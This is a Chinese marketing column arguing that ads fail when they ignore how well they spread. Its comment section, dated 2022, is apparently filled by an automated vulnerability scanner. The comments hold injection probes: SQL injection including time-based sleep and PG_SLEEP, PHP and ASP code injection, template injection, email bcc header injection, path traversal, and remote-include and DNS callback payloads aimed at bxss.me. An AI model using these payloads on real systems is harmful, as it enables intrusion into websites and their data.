不思考传播性的广告对企业毫无意义
2021-07-16 21:11:16 广告 专栏 作者:Airsiren 我有话说(175人参与)

      广告,也就是所谓的“广而告之”,其本质是传播。传播是渲染、传授、表达、传递和散布的意思,是将个体的物质或能量传递给其他众多个体的过程,是将个人或一部分人的思想、观点传达给大众的过程。广告属于单项传播,其突出优点是通过媒体传递信息的速度快,效率高。


      但有个问题一直存在,企业做广告都要达到这个目的,但是为什么有的企业做了广告却没有效果呢?BFAD认为,企业既代表一个普通消费者,也是一个广告投放者,该如何思考广告的传播性呢。我们先从几个企业容易纠结的问题开始…

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企业到底想宣传什么

      我觉得就这个问题而言,企业做了什么就宣传什么,有时候企业的产品不是很明了,但企业还想宣传,或者有着清晰的产品,但还想突出下品牌,这样一来搞的整个广告四不像,什么都说不好,最后只能在那里摆着,失去了传播性。我认为,如果是很少做广告的企业,还是以产品为主,如果是经常做广告的企业,也还是以产品为主,然后可以适当的做做品牌传播。

 

高雅还是通俗

      这是个很头痛的问题,想把广告做的高雅一点,但是发现企业没看懂,企业会告诉你感觉不知所云;想做的通俗一点吧,他又觉得你没有积淀。于是乎企业就把自己的套路拿出来,给你做了回“导师”,然后就出现了广告格调没提高上去,反而弄的不伦不类。

 

是否契合当地国情

      有的广告,从创意到制作都非常的好,内容也详细的表达出了产品的功能,可带来的效果适得其反,比如某汽车品牌的自杀广告,它体现的是该型号车100%排放的是水蒸气,结果想自杀的人没有自杀成功。广告在英国投放带来了一边倒的民众反感舆论。弄的汽车厂家一个月赔礼道歉两次,销量也没有提高。

 

     还有一种情况也比较普遍,那就是广告只是为了给公司,给领导看,这种广告本身就不具备创意性和很好的传播性,说白了,这种广告更像是视频版的公司介绍,只是为了迎合领导的心意。客户来拜访了,想给客户一种高大上的感觉,“面子工程”而已。

 

      BFAD经常说制作一则广告,是科学的,严谨的,各个方面都要考虑和注意到。广告传播的目的是要让收看到广告的群体了解并接受广告中的信息。现在的广告,一种情况是在比较短的时间里直接通过奇妙的画面,语言、音响、色彩等引起观看者的兴趣;另一种是通过逐步诱导,诱导观看者一步一步的接受宣传的内容,以一种无形的手段使收看者对广告传播者的观点意见趋于认同。

 

     如果只是一味的去迎合客户的想法,而不去重视投放广告本身的“前广告效应”和“后广告效应”,那么这则广告是失败的,客户的资金投入就是无效的。广告的本质就是传播,失去了传播性,那么对于企业而言将毫无意义。


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    555

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    -1 OR 2+765-765-1=0+0+0+1

  • 匿名用户中国地区223.114.6.46
    2022-05-25

  • ../匿名用户中国地区223.114.6.46
    2022-05-25

    555

  • 匿名用户中国地区223.114.6.46
    2022-05-25

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    -1" OR 2+892-892-1=0+0+0+1 --

  • 中国地区223.114.6.46
    2022-05-25

    555

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    response.write(9971787*9470354)

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    "+response.write(9971787*9470354)+"

  • response.write(9611833*9253024)中国地区223.114.6.46
    2022-05-25

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  • "+response.write(9611833*9253024)+"中国地区223.114.6.46
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    2022-05-25

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  • 匿名用户&n921316=v952952中国地区223.114.6.46
    2022-05-25

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    555 bcc:009247.12096-20436.12096.6db7a.19137.2@bxss.me

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    to@example.com> bcc:009247.12096-20437.12096.6db7a.19137.2@bxss.me

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    /xfs.bxss.me

  • /xfs.bxss.me中国地区223.114.6.46
    2022-05-25

    555

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    if(now()=sysdate(),sleep(15),0)

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    ${10000427+10000126}

  • ${10000248+10000068}中国地区223.114.6.46
    2022-05-25

    555

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    )

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    1some_inexistent_file_with_long_name.jpg

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    !(()&&!|*|*|

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    Http://bxss.me/t/fit.txt

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    ^(#$!@#$)(()))******

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    http://bxss.me/t/fit.txt?.jpg

  • )中国地区223.114.6.46
    2022-05-25

    555

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    bxss.me

  • !(()&&!|*|*|中国地区223.114.6.46
    2022-05-25

    555

  • 1some_inexistent_file_with_long_name.jpg中国地区223.114.6.46
    2022-05-25

    555

  • Http://bxss.me/t/fit.txt中国地区223.114.6.46
    2022-05-25

    555

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    HttP://bxss.me/t/xss.html?%00

  • http://bxss.me/t/fit.txt?.jpg中国地区223.114.6.46
    2022-05-25

    555

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    "+"A".concat(70-3).concat(22*4).concat(102).concat(87).concat(104).concat(69)+(require"socket" Socket.gethostbyname("hitav"+"jnlxyzel078aa.bxss.me.")[3].to_s)+"

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    bxss.me/t/xss.html?%00

  • HttP://bxss.me/t/xss.html?%00中国地区223.114.6.46
    2022-05-25

    555

  • bxss.me/t/xss.html?%00中国地区223.114.6.46
    2022-05-25

    555

  • bxss.me中国地区223.114.6.46
    2022-05-25

    555

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    SendOK

  • 匿名用户中国地区223.114.6.46
    2022-05-25

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    SendOK

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    SendOK/.

  • SendOK中国地区223.114.6.46
    2022-05-25

    555

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    ".gethostbyname(lc("hitpo"."lamjseaz20ad6.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(75).chr(97).chr(77)."

  • 中国地区223.114.6.46
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    555

  • SendOK中国地区223.114.6.46
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    555

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    ";print(md5(31337));$a="

  • 匿名用户中国地区223.114.6.46
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    ${@print(md5(31337))}

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    ${@print(md5(31337))}\

  • ";print(md5(31337));$a="中国地区223.114.6.46
    2022-05-25

    555

  • ${@print(md5(31337))}中国地区223.114.6.46
    2022-05-25

    555

  • ${@print(md5(31337))}\中国地区223.114.6.46
    2022-05-25

    555

  • 匿名用户中国地区223.114.6.46
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    Zn2rTsq8

  • YkfTTCV1中国地区223.114.6.46
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    555

  • 匿名用户中国地区223.114.6.46
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    -5 OR 602=(SELECT 602 FROM PG_SLEEP(15))--

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    2022-05-25

    -5) OR 188=(SELECT 188 FROM PG_SLEEP(15))--

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    -1)) OR 343=(SELECT 343 FROM PG_SLEEP(15))--

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    1????%2527%2522

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    @@m1bjC

  • 中国地区223.114.6.46
    2022-05-25

    555

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    5559707328

  • 匿名用户9460552中国地区223.114.6.46
    2022-05-25

    555

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    555

  • 匿名用户中国地区223.114.6.46
    2022-05-25

    555

  • GNrAfKBl中国地区223.114.6.46
    2022-05-25

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  • -1 OR 2+487-487-1=0+0+0+1 -- 中国地区223.114.6.46
    2022-05-25

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    2022-05-25

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    2022-05-25

    555

  • if(now()=sysdate(),sleep(15),0)中国地区223.114.6.46
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    555

  • 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z中国地区223.114.6.46
    2022-05-25

    555

  • 1????%2527%2522中国地区223.114.6.46
    2022-05-25

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  • @@CfGNg中国地区223.114.6.46
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